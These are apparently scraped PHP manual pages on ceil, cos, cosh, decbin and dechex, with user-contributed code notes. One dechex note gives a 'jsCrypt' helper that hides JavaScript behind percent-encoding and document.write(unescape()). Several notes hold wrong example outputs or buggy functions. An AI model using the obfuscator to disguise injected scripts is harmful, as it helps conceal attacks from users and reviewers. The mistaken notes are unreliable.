echo('Using ceil + round : '.ceil(round($value,4)));
?>

So if 'ceil' looks like it is not working correctly and rounding up figures that end in 0 (zero) then this might be the cause of this behaviour.
Adding a simple 'round' before the applying the 'ceil' solves this problem.
cedricaubert at gmail dot com 14-Apr-2015 03:14
Here is a more accurate way to round on superior decimal.

function round_sup($nb, $precision) {
        $p = pow(10, $precision);
        return ceil(round($nb * $p, 1)) / $p;
}

$k = 10 * 4.98;                   // k = 49.8
echo ceil($k * 10) / 10;    // 49.9   !!
echo round_sup($k, 1);   // 49.8
Gemini_13 at torba dot su 05-Dec-2014 12:16
$test = (1 - 0.7) * 10;

$test_1 = ceil($test);
$test_2 = ceil($test * 10);

var_dump($test_1);    // float 4
var_dump($test_2);    // float 31
josoort at home dot nl 12-May-2014 07:14
You can simply make a ceil with decimals function by using the round() function and add 0.05 to the value if the value must have 1 decimal accuracy, or 0.005 for 2 decimals accuracy, or 0.0005 for 3 decimals etc.

Example :

function ceilDec($input, $decimals)
{
    $subtract = 5 / pow(10, $decimals + 1);
    $output = round($input + $subtract, $decimals);
    return $output;
}
eg at pensio dot com 29-Jul-2013 11:57
Remember that floating point precision means behavior can be "correct" - though not what you expect:

php > echo 100 * 1 * 0.07;
7
php > echo ceil(100 * 1 * 0.07);
8
alesegdia at gmail dot com 16-Jun-2013 07:00
Some people asking on rounding -1.5 to -2 and 1.5 to 2, the way is this:

<?=round($var, 0, PHP_ROUND_HALF_UP)?>

See round() doc for more information on this.
sebastien dot thevenaz at gmail dot com 30-Jul-2012 06:20
Here is another way to use ceil for decimal numbers with precision:

<?php
    function ceil_dec($number, $precision)
    {
        $coefficient = pow(10,$precision);
        return ceil($number*$coefficient)/$coefficient;
    }
?>
php is the best 20-Apr-2012 06:29
Ceil for decimal numbers with precision:

function ceil_dec($number,$precision,$separator)
{
    $numberpart=explode($separator,$number);
$numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
    if($numberpart[0]>=0)
    {$numberpart[1]=ceil($numberpart[1]);}
    else
    {$numberpart[1]=floor($numberpart[1]);}

    $ceil_number= array($numberpart[0],$numberpart[1]);
    return implode($separator,$ceil_number);
}

echo ceil_dec(1.125,2,"."); //1.13
echo ceil_dec(-1.3436,3,"."); //-1.343
echo ceil_dec(102938.1,4,"."); //102938.1
Lexand 30-Mar-2012 12:15
$k = 0.14 * 100;
echo ceil($k); // results 15

solution is in converting float number to string

Example 1.
echo ceil ("{$k}"); // results 14

Example 2.
$totalSum1 = 102.1568;
$k = $totalSum1 / 100;
echo ceil ("{$k}"); // results 102.16

Example 3.
$totalSum2 = 102.15;
$k = $totalSum1 / 100;
echo ceil ("{$k}"); // results 102.15

useful for 'ceil' with precision capability
frozenfire at php dot net 06-Feb-2012 02:38
Please see http://www.php.net/manual/en/language.types.float.php for information regarding floating point precision issues.
oktam 10-May-2011 03:12
Actual behaviour:
echo ceil(-0.1); //result "-0" but i expect "0"

Workaround:
echo ceil(-0.1)+0; //result "0"
AndrewS 07-Mar-2011 04:55
The code below rounds a value up to a nearest multiple, away from zero.  The multiple does not have to be a integer.  So you could round, say, to the nearest 25.4, allowing you to round measurements in mm to the nearest inch longer.

<?php
// $x is the variable
// $c is the base multiple to round to, away from zero
$result =  ( ($y = $x/$c) == ($y = (int)$y) ) ? $x : ( $x>=0 ?++$y:--$y)*$c ;
?>

I originally developed this as an example of write-only code: to make the point that being cleverly terse might save clock ticks but wastes more in programmer time generating un-maintainable code.

The inline code above nests one conditional statement inside another.  The value of y changes twice within the same line (three times, if you count the pre-increment).  The value of each assignment is used to determine branching within the conditional statement.

How it works can more easily be seen from the expansion below:

<?php
function myCeilingLong($x,$c)
{
    // $x is variable
    // $c is ceiling multiple
    $a = $x/$c ;
    $b = (int)$a ;
    if ($a == $b)
        return $x ;  // x is already a multiple of c;
    else
    {
        if ($x>=0)
            return ($b+1)*$c ;  // return ((int)(x/c)+1 ) * c
        else
            return ($b-1)*$c ;  // return ((int)(x/c)-1 ) * c
    }
}
?>

<?php
function myCeilingShort($x,$c)
{
    return ( ($y = $x/$c) == ($y = (int)$y) ) ? $x : ( $x>=0 ?++$y:--$y)*$c ;
}
?>

Comparing the versions for speed: the in-line version is about three times faster than myCeilingLong() - but this is almost entirely down to function call overhead.

Putting the in-line code inside the function: the difference in execution speed between myCeilingLong() and myCeilingShort() is around 1.5%.

ceil() is still around 25% faster than the in-line statement so if you are a speed hound your efforts might be better devoted to compiling your own library ...
Scott Weaver / scottmweaver * gmail 29-Aug-2008 10:46
I needed this and couldn't find it so I thought someone else wouldn't have to look through a bunch of Google results-

<?php

// duplicates m$ excel's ceiling function
if( !function_exists('ceiling') )
{
    function ceiling($number, $significance = 1)
    {
        return ( is_numeric($number) && is_numeric($significance) ) ? (ceil($number/$significance)*$significance) : false;
    }
}

echo ceiling(0, 1000);     // 0
echo ceiling(1, 1);        // 1000
echo ceiling(1001, 1000);  // 2000
echo ceiling(1.27, 0.05);  // 1.30

?>
themanwe at yahoo dot com 20-Mar-2007 11:35
float ceil

function fCeil($val,$pressision=2){
     $p = pow(10,$pressision);
    $val = $val*$p;
    $val = ceil($val);
  return $val /$p;
}
steve_phpnet // nanovox \\ com 28-Feb-2005 12:40
I couldn't find any functions to do what ceiling does while still leaving I specified number of decimal places, so I wrote a couple functions myself.  round_up is like ceil but allows you to specify a number of decimal places.  round_out does the same, but rounds away from zero.

<?php
 // round_up:
 // rounds up a float to a specified number of decimal places
 // (basically acts like ceil() but allows for decimal places)
 function round_up ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ceil($value * $mult) / $mult;
 }

 // round_out:
 // rounds a float away from zero to a specified number of decimal places
 function round_out ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ($value >= 0 ? ceil($value * $mult):floor($value * $mult)) / $mult;
 }

 echo round_up (56.77001, 2); // displays 56.78
 echo round_up (-0.453001, 4); // displays -0.453
 echo round_out (56.77001, 2); // displays 56.78
 echo round_out (-0.453001, 4); // displays -0.4531
?>
aaron at mind-design dot co dot uk 21-Jul-2004 01:10
Or for the terniary fans:

<?php

function roundaway($num) {
   return(($num > 0) ? ceil($num) : floor($num));
}

?>

Slightly pointless, but there you have it, in one line only..
rainfalling at yahoo dot com 22-Apr-2004 05:51
IceKarma said: "If you want, say, 2.6 to round to 3, and -2.6 to round to -3, you want round(), which rounds away from zero."

That's not always true. round() doesn't work that way, like zomis2k said it just rounds up _or_ down to the nearest non-decimal number. However this should work.

<?php

function roundaway($num) {
    if ($num > 0)
      return ceil($num);
    elseif ($num < 0)
      return floor($num);
    elseif ($num == 0)
      return 0;
}

?>
roger_dupere at hotmail dot com 10-Nov-2003 02:02
Here is a navbar using the ceil function.

<?php
 function navbar($num_rows,$page,$link) {
   $nbrlink = 10; /* Number of link to display per page */
   $page = (int) $page; /* Page now displayed */
   $num_rows = (int) $num_rows;

   if( $num_rows > 0 ) {
     $total_page = ceil( $num_rows / $nbrlink );

     for( $i=1;$i<$total_page+1;$i++ ) {
       if( $i == $page ) {
         $ret .= " <b>$i</b> ";
       } else {
         if( strstr( $link,"?" ) ) {
           $ret .= " <a href=\"$link&page=$i\">$i</a> ";
         } else {
           $ret .= " <a href=\"$link?page=$i\">$i</a> ";
         }
       }
     }

     return $ret;
   }
 }
  /* Let say that $num_rows content the numbre of rows of your sql query */
  $navbar = navbar( $num_rows, $page, "listmovie.php?id=$id" );

  if( $navbar != null || $navbar != "" ) {
    print( "<p><div align=\"center\">$navbar</div></p>" );
  }
?>


余弦（コサイン）

  • ≪ ceil
  • cosh ≫
  • PHP Manual
  • Math 関数
  • 余弦（コサイン）

cos

(PHP 4, PHP 5, PHP 7, PHP 8)

cos — 余弦（コサイン）

説明

cos ( float $num ) : float

cos() は、num のコサインを 返します。num はラジアンです。

パラメータ

num

ラジアンで表した角度。

返り値

num のコサインを返します。

例

例1 cos() の例

<?php

echo cos(M_PI); // -1

?>

参考

  • acos() - 逆余弦（アークコサイン）
  • sin() - 正弦（サイン）
  • tan() - 正接（タンジェント）
  • deg2rad() - 度単位の数値をラジアン単位に変換する

User Contributed Notes

There are no user contributed notes for this page.


双曲線余弦（ハイパボリックコサイン）

  • ≪ cos
  • decbin ≫
  • PHP Manual
  • Math 関数
  • 双曲線余弦（ハイパボリックコサイン）

cosh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cosh — 双曲線余弦（ハイパボリックコサイン）

説明

cosh ( float $num ) : float

num のハイパボリックコサインを返します。 これは、(exp(arg) + exp(-arg))/2 で定義されます。

パラメータ

num

処理する引数。

返り値

num のハイパボリックコサインを返します。

参考

  • cos() - 余弦（コサイン）
  • acosh() - 逆双曲線余弦（アークハイパボリックコサイン）
  • sinh() - 双曲線正弦（ハイパボリックサイン）
  • tanh() - 双曲線正接（ハイパボリックタンジェント）

User Contributed Notes

There are no user contributed notes for this page.


10 進数を 2 進数に変換する

  • ≪ cosh
  • dechex ≫
  • PHP Manual
  • Math 関数
  • 10 進数を 2 進数に変換する

decbin

(PHP 4, PHP 5, PHP 7, PHP 8)

decbin — 10 進数を 2 進数に変換する

説明

decbin ( int $num ) : string

引数 num を 2 進数表現した文字列を返します。

パラメータ

num

変換したい 10 進数値。

32 ビットマシンでの入力の範囲
正の num | 負の num | 返り値
0 | 0
1 | 1
2 | 10
... normal progression ...
2147483646 | 1111111111111111111111111111110
2147483647 (符号付き integer の最大値) | 1111111111111111111111111111111 (1 が 31 個)
2147483648 | -2147483648 | 10000000000000000000000000000000
... normal progression ...
4294967294 | -2 | 11111111111111111111111111111110
4294967295 (符号なし integer の最大値) | -1 | 11111111111111111111111111111111 (1 が 32 個)
64 ビットマシンでの入力の範囲
正の num | 負の num | 返り値
0 | 0
1 | 1
2 | 10
... normal progression ...
9223372036854775806 | 111111111111111111111111111111111111111111111111111111111111110
9223372036854775807 (符号付き integer の最大値) | 111111111111111111111111111111111111111111111111111111111111111 (1 が 63 個)
-9223372036854775808 | 1000000000000000000000000000000000000000000000000000000000000000
... normal progression ...
-2 | 1111111111111111111111111111111111111111111111111111111111111110
-1 | 1111111111111111111111111111111111111111111111111111111111111111 (1 が 64 個)

返り値

num を 2 進文字列で表した値を返します。

例

例1 decbin() の例

<?php
echo decbin(12) . "\n";
echo decbin(26);
?>

上の例の出力は以下となります。

1100
11010

参考

  • bindec() - 2 進数 を 10 進数に変換する
  • decoct() - 10 進数を 8 進数に変換する
  • dechex() - 10 進数を 16 進数に変換する
  • base_convert() - 数値の基数を任意に変換する
  • printf() - フォーマット済みの文字列を出力する でのフォーマット %b、 %032b あるいは %064b
  • sprintf() でのフォーマット %b、 %032b あるいは %064b

User Contributed Notes

coverup 03-Mar-2017 07:09
Regarding trailing zeros, after test all the option mention here by others, i have performed my own tests regarding efficiency, here are the results:

<?php

$decimal = 9;

$time_start = microtime(true);
for ($i=0;$i<1000;$i++){
$bin = printf('%08b',  $decimal);
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "<hr>Duracion $time segundos<br>\n";
echo $bin . '<br>';

$time_start = microtime(true);
for ($i=0;$i<1000;$i++){
$bin = sprintf( "%08d", decbin( $decimal ));
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "<hr>Duracion $time segundos<br>\n";
echo $bin . '<br>';

$time_start = microtime(true);
for ($i=0;$i<1000;$i++){
$bin = decbin($decimal);
$bin = substr("00000000",0,8 - strlen($bin)) . $bin;
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "<hr>Duracion $time segundos<br>\n";
echo $bin . '<br>';

?>

results

0000100100001001000010010000100.... (output is echoed 1000 times)
Duracion 0.0134768486023 segundos
8
Duracion 0.00054407119751 segundos
00001001
Duracion 0.000833988189697 segundos
00001001

Thus the winner is
<?php
$bin = sprintf( "%08d", decbin( $decimal ));
?>
malcolm.murphy 02-Feb-2017 03:42
The GNU MP library (http://php.net/manual/en/book.gmp.php) provides methods to efficiently convert binary strings of any length to their binary representation (i.e., a `decbin` equivalent for strings).

<?php

$str = random_bytes(1024); // binary string example

$result = gmp_strval(gmp_import($str), 2); // see manual for options such as endianness

$zeroPadded = sprintf('%0' . (strlen($str) * 8) . 's', $result); // zero-pad if needed, e.g. with str_pad, or sprintf as shown here

$strAgain = gmp_export(gmp_init($result, 2)); // reverse operation similar to bindec

?>
rambabusaravanan at gmail dot com 05-Jan-2017 01:08
Print as binary format with leading zeros into a variable in one simple statement.

<?php
    $binary = sprintf('%08b',  $decimal);    // $decimal = 5;
    echo $binary;    // $binary = "00000101";
?>
noname at example dot com 08-Jul-2015 05:29
If you want leading zeros use php built-in features instead of custom functions

<?php
printf('%08b',  $decimal);
?>

>> printf('%08b', E_NOTICE)
>> 00001000
MarcelG 11-Feb-2014 10:07
To add leading zeros I prefer the following:
<?php
// Add leading zeros
$bin = sprintf( "%08d", decbin( 26 )); // "00011010"
?>
dj.luiting(.a.t.)gmail.com 22-Jan-2014 09:06
hi folks, i struggled for a day to get a big decimal number converted into binary, on the windows platform.
finally with bcmath functions this is what worked for me.

function bc_convert2bin($string) {

    //got it to work with bcmath functions, works for 64 bit on 32 bit windows machine
    $finished=0;
    $base=2;
    $bin_nr='';

    if(preg_match("/[^0-9]/", $string)) {
        for($i=0; $string!=chr($i); $i++) {
            $dec_nr=$i;
        }
    } else {
        $dec_nr=$string;
    }
    //while( $dec_nr>$base ) {
    while( bccomp($dec_nr,$base) == 1 ) {

        //$base=$base*2;
        $base=bcmul($base,'2');
        //if($base>$dec_nr) {
        if( bccomp($base,$dec_nr) == 1 ) {
            //$base=$base/2;
            $base=bcdiv($base,'2');
            break;
        }
    }

    while(!$finished) {

        //if(($dec_nr-$base)>0) {
        if( bccomp( bcsub($dec_nr,$base) , 0) == 1 ) {

            //$dec_nr=$dec_nr-$base;
            $dec_nr=bcsub($dec_nr,$base);
            $bin_nr.=1;
            //$base=$base/2;
            $base=bcdiv($base,'2');

        //} elseif(($dec_nr-$base)<0) {
        } elseif( bccomp( bcsub($dec_nr,$base) , 0) == -1 ) {

            $bin_nr.=0;
            //$base=$base/2;
            $base=bcdiv($base,'2');

        //} elseif(($dec_nr-$base)==0) {
        } elseif( bccomp( bcsub($dec_nr,$base) , 0) == 0 ) {

            $bin_nr.=1;
            $finished=1;
            //while($base>1) {
            while( bccomp($base,1) == 1 ) {

                $bin_nr.=0;
                //$base=$base/2;
                $base=bcdiv($base,'2');

            }
        }
    }
    return $bin_nr;
}
mcampa at gmail dot com 23-Aug-2013 03:09
A little useful little function that returns a binary string with leading 0s:

function d2b($n) {
  return str_pad(decbin($n), 16, "0", STR_PAD_LEFT);
}

// example:
echo d2b(E_ALL);
echo d2b(E_ALL | E_STRICT);
echo d2b(0xAA55);
echo d2b(5);

Output:
0111011111111111
0111111111111111
1010101001010101
0000000000000101
Silas R (15) 05-Mar-2013 06:00
This is my System:

You can convert a decimal number to a number system you want, like the binary system.

<?php

    function Dec2oSys($numberDec, $SysNum)
    {
        if($numberDec != 0)
        {
            $numberOSys = "";
            for (; $numberDec > 0;) {
                $numberDecBefore = $numberDec;
                $numberDec = $numberDec / $SysNum;
                $pos = strpos($numberDec, '.');
                if($pos != false)
                {
                    $numberDec = floor($numberDec);
                    $numberOSys .= $numberDecBefore - floor($numberDec) * $SysNum;
                    $rest = $numberDecBefore - floor($numberDec) * $SysNum;
                }
                else
                {
                    $numberOSys .= "0";
                    $rest = 0;

                }
                print $numberDec."; Rest:".$rest."<br/>";
            }
        }
        else
        {
            $numberOSys = "0";
        }
        return strrev($numberOSys);
    }

    print Dec2oSys(100, 2);

?>
Nitrogen 21-Jul-2009 10:30
Decimal to Binary conversion using the BCMath extension.

<?php

function BCDec2Bin($Input='') {
 $Output='';
 if(preg_match("/^\d+$/",$Input)) {
   while($Input!='0') {
     $Output.=chr(48+($Input{strlen($Input)-1}%2));
     $Input=BCDiv($Input,'2');
   }
   $Output=strrev($Output);
 }
 return(($Output!='')?$Output:'0');
}

?>

This will simply convert from Base-10 to Base-2 using BCMath (arbitrary precision calculation).

See also: my 'BCBin2Dec' function on the 'bindec' document.
Enjoy,
Nitrogen.
Kay 04-Oct-2008 05:04
I think this is the best function. Is almost endlessy (till 2^50 or something)

<?php
function bin($int)
{
    $i = 0;
    $binair = "";
    while($int >= pow(2,$i))
    {
        $i++;
    }

    if($i != 0)
    {
        $i = $i-1; //max i
    }

    while($i >= 0)
    {
        if($int - pow(2,$i) < 0)
        {
            $binair = "0".$binair;
        }else{
            $binair = "1".$binair;
            $int = $int - pow(2,$i);
        }

        $i--;
    }
    return $binair;
}

$getal = $_GET['getal'];

echo bin($getal);
?>
avenger at avenger dot ws 24-Aug-2008 06:25
Careful trying binary-wise tests with integers:

# FFFFFFFF
command: php -r 'print(decbin(4294967295)."\n");'
result: 11111111111111111111111111111111

# C3E9CAC8
command: php -r 'print(decbin(3286878920)."\n");'
result: 11000011111010011100101011001000

# regardless of specifying "(int)", using bitwise AND:
command: php -r 'print((int)(3286878920 & 4294967295)."\n");'
result: -1008088376 (int)

# now the expected result will happen (guess the performance impact)
command: php -r 'print(bindec(decbin((3286878920 & 4294967295)))."\n");'
result: 3286878920 (float)

additional note: if you "bitwise and" some random bits with a sequence of 1-bit of the same length, the expected result is the same "random bits sequence" unchanged. If you want to keep this in the integer world for faster comparisons, you risk messing your result for the signed integer size limitation. The maximum value you can use for the desired result is (7FFFFFFF -- or integer 2147483647), half of the maximum 'unsigned' integer 32-bit(platform-dependent) value.
darkshad3 at yahoo dot com 15-Feb-2007 03:15
<?php
Print bindecValues("1023");

function bindecValues($decimal, $reverse=false, $inverse=false) {
/*
1. This function takes a decimal, converts it to binary and returns the
     decimal values of each individual binary value (a 1) in the binary string.
     You can use larger decimal values if you pass them to the function as a string!
2. The second optional parameter reverses the output.
3. The third optional parameter inverses the binary string, eg 101 becomes 010.
-- darkshad3 at yahoo dot com
*/

    $bin = decbin($decimal);
    if ($inverse) {
        $bin = str_replace("0", "x", $bin);
        $bin = str_replace("1", "0", $bin);
        $bin = str_replace("x", "1", $bin);
    }
    $total = strlen($bin);

    $stock = array();

    for ($i = 0; $i < $total; $i++) {
        if ($bin{$i} != 0) {
            $bin_2 = str_pad($bin{$i}, $total - $i, 0);
            array_push($stock, bindec($bin_2));
        }
    }

    $reverse ? rsort($stock):sort($stock);
    return implode(", ", $stock);
}
?>

The printed result is : 1, 2, 4, 8, 16, 32, 64, 128, 256, 512
Xavier Daull 04-Feb-2006 02:57
A fast function to convert a binary string to a bit sequence

<?php

function BinString2BitSequence($mystring) {
    $mybitseq = "";
    $end = strlen($mystring);
    for($i = 0 ; $i < $end; $i++){
        $mybyte = decbin(ord($mystring[$i])); // convert char to bit string
        $mybitseq .= substr("00000000",0,8 - strlen($mybyte)) . $mybyte; // 8 bit packed
    }
    return $mybitseq;
}

echo BinString2BitSequence("ABCDEF"); // OUTPUT=010000010100001001000011010001000100010101000110

?>
06-Jan-2006 06:29
Just an example:
If you convert 26 to bin you'll get 11010, which is 5 chars long. If you need the full 8-bit value use this:

$bin = decbin(26);
$bin = substr("00000000",0,8 - strlen($bin)) . $bin;

This will convert 11010 to 00011010.
08-Feb-2005 07:27
base_convert( base_convert('100001000100000000010001001000
0100100000001111111111111111111',2,10),10,2);

return
'1000010001000000000100010010000
100100000010000000000000000000'

this function doesn't work
php at silisoftware dot com 28-Feb-2002 07:15
Another larger-than-31-bit function.
Works for very large numbers, but at the expense of perfect bit-precision as the size increases (I noticed rounding errors past 16 or so decimal places) so use with caution, and only when decbin() won't cut it.

function Dec2Bin($number) {
    while ($number >= 256) {
        $bytes[] = (($number / 256) - (floor($number / 256))) * 256;
        $number = floor($number / 256);
    }
    $bytes[] = $number;
    for ($i=0;$i<count($bytes);$i++) {
        $binstring = (($i == count($bytes) - 1) ? decbin($bytes[$i]) : str_pad(decbin($bytes[$i]), 8, "0", STR_PAD_LEFT)).$binstring;
    }
    return $binstring;
}
ajl at gmx dot de 08-Oct-2001 01:47
HERE you can convert 64bit instead of 32bit with the standard decbin
<?
function bigdecbin($dec,$doublewords=1) {
    $erg = "";
    do {
          $rest = $dec%2147483648;
          if ($rest<0) $rest+=2147483648;
          $erg = str_pad(decbin($rest),31,"0",STR_PAD_LEFT).$erg;
          $dec = ($dec-$rest)/2147483648;
      } while (($dec>0)&&(!($dec<1)));

      return str_pad($erg,$doublewords*31,"0",STR_PAD_LEFT);
}

echo "<pre>";
for ($i=1.5*2147483647.0-10;$i<1.5*2147483647.0+10;$i++) {
    echo "DEC:".$i." BIN:".bigdecbin($i,2)."<br>";
}
echo "</pre>";
?>


10 進数を 16 進数に変換する

  • ≪ decbin
  • decoct ≫
  • PHP Manual
  • Math 関数
  • 10 進数を 16 進数に変換する

dechex

(PHP 4, PHP 5, PHP 7, PHP 8)

dechex — 10 進数を 16 進数に変換する

説明

dechex ( int $num ) : string

num で指定した符号なし整数値を 16 進数表現した文字列を返します。

変換できる最大の数字は、32 ビットプラットフォームの場合は PHP_INT_MAX * 2 + 1 (-1) です。これは 10 進数で表すと 4294967295 であり、 dechex() が返す結果は ffffffff になります。

パラメータ

num

変換したい 10 進数値。

PHP の int は符号付き整数ですが、 dechex() ではこれを符号なし整数として扱います。 つまり、負の整数を渡しても、それを符号なし整数として処理します。

返り値

num を 16 進文字列で表した値を返します。

例

例1 dechex() の例

<?php
echo dechex(10) . "\n";
echo dechex(47);
?>

上の例の出力は以下となります。

a
2f

例2 dechex() での大きな整数の例

<?php
// 以下の出力例は 32 ビットプラットフォームでのものです。
// すべての結果が同じになることに注目しましょう。
echo dechex(-1)."\n";
echo dechex(PHP_INT_MAX * 2 + 1)."\n";
echo dechex(pow(2, 32) - 1)."\n";
?>

上の例の出力は以下となります。

ffffffff
ffffffff
ffffffff

参考

  • hexdec() - 16 進数を 10 進数に変換する
  • decbin() - 10 進数を 2 進数に変換する
  • decoct() - 10 進数を 8 進数に変換する
  • base_convert() - 数値の基数を任意に変換する

User Contributed Notes

hugo 24-Apr-2017 05:12
warning jbleau dec_to_hex method is buggy, avoid it.

dec_to_hex('9900000397')-->24e16048f
dec_to_hex('9900000398')-->24e16048f
dec_to_hex('9900000399')-->24e16048f
delchodimi at gmail dot com 30-Apr-2015 02:43
I like the example with the bitwise operations but if the value of color[0] is less than 16 it's not accurate:
example:
color[0]: 0;
color[1]: 0;
color[2]: 255;
 function hexColor($color) {
  return dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
}
It returns "ff", which is not legit RGB color...
so my solution is to combine the function above with:
function toColor($n)
{
return("#".substr("000000".dechex($n),-6));
}

If you gotta deal with array of rgb values this is my solution:
------------------------------------------------------
function hexColor($color) {
    $rgb = dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
    return("#".substr("000000".$rgb, -6));
}
------------------------------------------------------
baoquyen804 at gmail dot com 01-Sep-2014 09:16
this base function convert string rgb to color
<?php
    function rgb_to_color($rgb, $symbols=' '){
        $color = '';
        $arr = explode($symbols, $rgb);
        $count = count($arr);
        for($i=0; $i<$count; $i++){
            $color .= dechex($arr[$i]);
        }
        return '#'.$color;
    }
       echo rgb_to_color('186 186 18');  // #baba12
    echo rgb_to_color('186-186-18', '-');  // #baba12
?>
jenny-schubert87 dot 1 at web dot de 31-Jul-2014 10:02
I figured out another way to do this:
if you have a very long decimal number in gmp format (you can always create a gmp number with gmp_init($numberstring), you can simply do gmp_strval($gmpnumber, 16), where $gmpnumber is your gmp number, and the 16 is the base you want to transform it to. Worked for me like a charm, also works for other bases.
Kory P. 10-Nov-2013 03:56
Or you could use this for an RGBA color.
    function toAlphaColor($n,$a)
    {
        $rgb = substr("000000".dechex($n),-6);
        $alpha = substr("00".dechex($a),-2);
        return("#".$rgb.$alpha);
    }
mailderemi at gmail dot com 13-Dec-2012 02:26
Javascript Crypt:

<?php
function jsCrypt($script,$level=1){
    for ($j=0;$j<$level;$j++){
        $asc='';
        for ($i=0;$i<strlen($script);$i++)
            $asc.='%'.dechex(ord($script[$i]));
        $script='<SCRIPT LANGUAGE="JavaScript">document.write(unescape(\''.$asc.'\'));</SCRIPT>';
    }
    return $script;
}

echo jsCrypt('<script>alert(123);</script>',1);
?>
hmlinks at gmail dot com 03-Oct-2012 01:02
I wrote this to convert hex into signed int, hope this helps someone out there... peace :)

<?php
$hex = dechex(-32767);
$dec = shexdex($hex);

function shexdex($hex){
    $dec = hexdec($hex);

    // Negative number (in binary if the msb is 1 then it is neg)
    // since one hex is 4bits, the value 8 and up contain msb of 1, hence negative number
    if ($hex[0] >= '8'){    // Note: if you use the digit 8 it is not the same as '8'
        $dec -= 1;
        $dec = ~$dec;

        return -$dec;
    }

    return $dec;
}

if ($dec == -32767){
    echo 'Yay!';
}
?>
sneskid at hotmail dot com 23-Mar-2012 07:09
If you want to create or parse signed Hex values:

<?php
// $d should be an int
function sdechex($d) { return ($d<0) ? ('-' . dechex(-$d)) : dechex($d); }

// $h should be a string
function shexdec($h) { return ($h[0] === '-') ? -('0x' . substr($h,1) + 0) : ('0x' . $h + 0); }

// test

$v = sdechex(-123); // string(3) "-7b"
$i = shexdec($v);   // int(-123)
var_dump($v, $i);
?>

Also note that ('0x' . $str + 0) is faster than hexdec()
andries at centim dot be 07-Mar-2012 02:44
If you need to convert a large number (> PHP_MAX_INT) to a hex value, simply use base_convert. For example:

base_convert('2190964402', 10, 16); // 829776b2
9381904 at gmail dot com 01-Nov-2011 10:11
for mac address
<?php
function dec2mac($mac) {
   $mac=preg_split("([.])", $mac, 6);
   $hexmac="";
   foreach ($mac as $part)
   {
   $part=dechex($part);
   strlen($part)<2 ? $hexmac.="0$part" : $hexmac.=$part;
   }
   return $hexmac;
}
echo dec2mac("0.29.96.71.60.137"); // 001d60473c89
?>
jbleau at gmail dot com 29-Oct-2008 02:23
I was confused by dechex's size limitation. Here is my solution to the problem. It supports much bigger values, as well as signs.

<?php
function dec_to_hex($dec)
{
    $sign = ""; // suppress errors
    if( $dec < 0){ $sign = "-"; $dec = abs($dec); }

    $hex = Array( 0 => 0, 1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5,
                  6 => 6, 7 => 7, 8 => 8, 9 => 9, 10 => 'a',
                  11 => 'b', 12 => 'c', 13 => 'd', 14 => 'e',
                  15 => 'f' );

    do
    {
        $h = $hex[($dec%16)] . $h;
        $dec /= 16;
    }
    while( $dec >= 1 );

    return $sign . $h;
}
?>
mountarreat at gmail dot com 11-May-2008 09:55
I was challenged by a problem with large number calculations and conversion to hex within php. The calculation exceeded unsigned integer and even float range. You can easily change it for your needs but it is, thanks to bcmath, capable of handling big numbers via string. This function will convert them to hex.

In this specific example though, since I use it for game internals that can only handle 32 bit numbers, it will truncate calculations at 8 digits. If the input is 1 for example it will be filled up with zeros. Output 00000001h.

Of course I don't claim it to be a good one, but it works for me and my purpose. Suggestions on faster code welcome!

<?php
// Turns numbers into 32-bit hex string; Fills up zeros
function lrgDec2Hex($number)
{
    $i = 0;
    $hex = array();

    while($i < 8) {
        if($number == 0) {
            array_push($hex, '0');
        }
        else {
            array_push($hex, strtoupper(dechex(bcmod($number, '16'))));
            $number = bcdiv($number, '16', 0);
        }
        $i++;
    }
    krsort($hex);
    return implode($hex);
}
?>
sjaak at spoilerfreaks dot com 09-Mar-2007 07:28
To force the correct usage of 32-bit unsigned integer in some functions, just add '+0'  just before processing them.

for example
<?php echo(dechex("2724838310")); ?>
will print '7FFFFFFF'
but it should print 'A269BBA6'

When adding '+0' php will handle the 32bit unsigned integer
correctly
<?php echo(dechex("2724838310"+0)); ?>
will print 'A269BBA6'
brent 15-Dec-2006 11:33
Be very careful calling dechex on a number if it's stored in a string.

For instance:

The max number it can handle is 4294967295 which in hex is FFFFFFFF, as it says in the documentation.

dechex(4294967295) => FFFFFFFF //CORRECT

BUT, if you call it on a string of a number, it casts to int, and automatically gives you the largest int it can handle.

dechex('4294967295') => 7FFFFFFF //WRONG!

so you'll need to cast to a float:

dechex((float) '4294967295') => FFFFFFFF //CORRECT

This took me FOREVER to figure out, so hopefully I just saved someone some time.
Mista-NiceGuy at web dot de 28-Dec-2005 05:00
These are functions to convert roman numbers (e.g. MXC) into dec and vice versa.
Note: romdec() does not check whether a string is really roman or not. To force a user-input into a real roman number use decrom(romdec($input)). This will turn XXXX into XL for example.

<?php
    function decrom($dec){
        $digits=array(
            1 => "I",
            4 => "IV",
            5 => "V",
            9 => "IX",
            10 => "X",
            40 => "XL",
            50 => "L",
            90 => "XC",
            100 => "C",
            400 => "CD",
            500 => "D",
            900 => "CM",
            1000 => "M"
        );
        krsort($digits);
        $retval="";
        foreach($digits as $key => $value){
            while($dec>=$key){
                $dec-=$key;
                $retval.=$value;
            }
        }
        return $retval;
    }

    function romdec($rom){
        $digits=array(
            "I" => 1,
            "V" => 5,
            "X" => 10,
            "L" => 50,
            "C" => 100,
            "D" => 500,
            "M" => 1000
        );
        $retval="";
        $chars=array();
        for($i=1;$i<=strlen($rom);$i++){
            $chars[]=substr($rom,$i-1,1);
        }
        $step=1;
        for($i=count($chars)-1;$i>=0;$i--){
            if(!isset($digits[$chars[$i]])){ return "Error!"; }
            if($step<=$digits[$chars[$i]]){
                $step=$digits[$chars[$i]];
                $retval+=$digits[$chars[$i]];
            }
            else{
                $retval-=$digits[$chars[$i]];
            }
        }
        return $retval;
    }

    echo decrom(romdec("XXXX"));
?>
cory at lavacube dot com 27-Oct-2005 04:45
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
    // put values into an easy-to-use array
    $vals['r'] = hexdec( substr($in, 0, 2) );
    $vals['g'] = hexdec( substr($in, 2, 2) );
    $vals['b'] = hexdec( substr($in, 4, 2) );

    // loop through
    foreach( $vals as $val )
    {
